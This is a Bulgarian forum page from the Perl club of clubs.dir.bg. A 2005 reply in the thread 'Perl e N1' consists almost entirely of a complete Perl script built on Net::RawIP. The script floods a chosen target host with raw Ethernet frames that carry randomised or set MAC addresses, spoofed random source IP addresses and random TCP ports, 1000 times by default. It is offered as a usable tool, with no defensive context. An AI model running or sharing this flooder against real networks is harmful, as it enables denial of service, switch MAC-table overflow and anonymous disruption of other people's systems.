Клубове Дир.бг
powered by diri.bg
търси в Клубове diri.bg Разширено търсене

Вход
Име
Парола

Клубове
Dir.bg
Взаимопомощ
Горещи теми
Компютри и Интернет
Контакти
Култура и изкуство
Мнения
Наука
Политика, Свят
Спорт
Техника
Градове
Религия и мистика
Фен клубове
Хоби, Развлечения
Общества
Я, архивите са живи
Клубове Дирене Регистрация Кой е тук Въпроси Списък Купувам / Продавам 11:20 11.04.21 
Клубове/ Компютри и Интернет / Perl Всички теми Следваща тема Пълен преглед*
Информация за клуба
Тема Re: Perl e N1 [re: zuluz]
Автор After_Dark (бироунищожител)
Публикувано07.06.05 18:20  



require 'getopts.pl';
use Net::RawIP;
Getopts('vrs:e:d:x:y:i:n:');
$a = new Net::RawIP;

die "usage: $0 -d target_host [options]\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1000)\n" unless ($opt_d &&
!($opt_r && $opt_e) );


$opt_i=eth0 unless $opt_i;
$times=0;
$opt_n=1000 unless $opt_n;
$s_host=$opt_s if $opt_s;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;


if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}


for($times=1; $times < $opt_n; $times++) {
$i=0;
$mac="00";

if($opt_r) {
$d_mac="00";

while($i++ < 5) {
$mac=$mac . ":" . int rand 9;
$d_mac=$d_mac . ":" . int rand 9;
$mac=$mac . int rand 9;
$d_mac=$d_mac . int rand 9;
}
print "$d_mac \t$mac\n" if($opt_v);

$a->ethset(source => $mac, dest => $d_mac);
} else {

while($i++ < 5) {
$mac=$mac . ":" . int rand 9;
$mac=$mac . int rand 9;
}
print "$mac\n" if($opt_v);

$a->ethset(source => $mac);
}

$s_host=17000000+int rand 4261000000 unless $opt_s;

$s_port=int rand 65535 unless $opt_x;
$d_port=int rand 65535 unless $opt_y;

$a->set({ip => {saddr => $s_host, daddr => $opt_d},
tcp => {source => $s_port,dest => $d_port}
});

$a->ethsend;
}





Цялата тема
ТемаАвторПубликувано
* Perl e N1 gzlio   21.01.05 02:13
. * Re: Perl e N1 __me   22.01.05 13:49
. * Re: Perl e N1 pencho666   29.01.05 23:52
. * Re: Perl e N1 MaY   02.02.05 11:12
. * Re: Perl e N1 nonono   05.02.05 22:17
. * Re: Perl e N1 martyr   06.02.05 15:38
. * Re: Perl e N1 zuluz   12.04.05 22:50
. * Re: Perl e N1 After_Dark   07.06.05 18:20
. * Re: Perl e N1 level 8   08.06.05 01:59
. * Кой сега е номер 1? nena   11.06.05 02:21
. * Re: Кой сега е номер 1? мъчeниk   11.06.05 18:51
. * Re: Кой сега е номер 1? level 8   12.06.05 16:08
. * Re: Perl e N1 novobranec   09.06.05 00:18
. * Perl e N7 ПОРЕДЕН ORDlNARY MAN   10.06.05 01:38
. * Re: Perl e N1 brief   11.06.05 02:06
. * Re: Perl e N1 мъчeниk   11.06.05 18:52
. * Re: Perl e N1 level 8   12.06.05 16:02
. * абе то кво стана? After_Dark   09.07.05 11:53
. * а аз си мислех че има разбирачи... After_Dark   16.08.05 23:09
. * Re: а аз си мислех че има разбирачи... sas   18.08.05 12:59
. * Re: а аз си мислех че има разбирачи... zuluz   18.08.05 16:43
Клуб :  


Clubs.dir.bg е форум за дискусии. Dir.bg не носи отговорност за съдържанието и достоверността на публикуваните в дискусиите материали.

Никаква част от съдържанието на тази страница не може да бъде репродуцирана, записвана или предавана под каквато и да е форма или по какъвто и да е повод без писменото съгласие на Dir.bg
За Забележки, коментари и предложения ползвайте формата за Обратна връзка | Мобилна версия | Потребителско споразумение
© 2006-2021 Dir.bg Всички права запазени.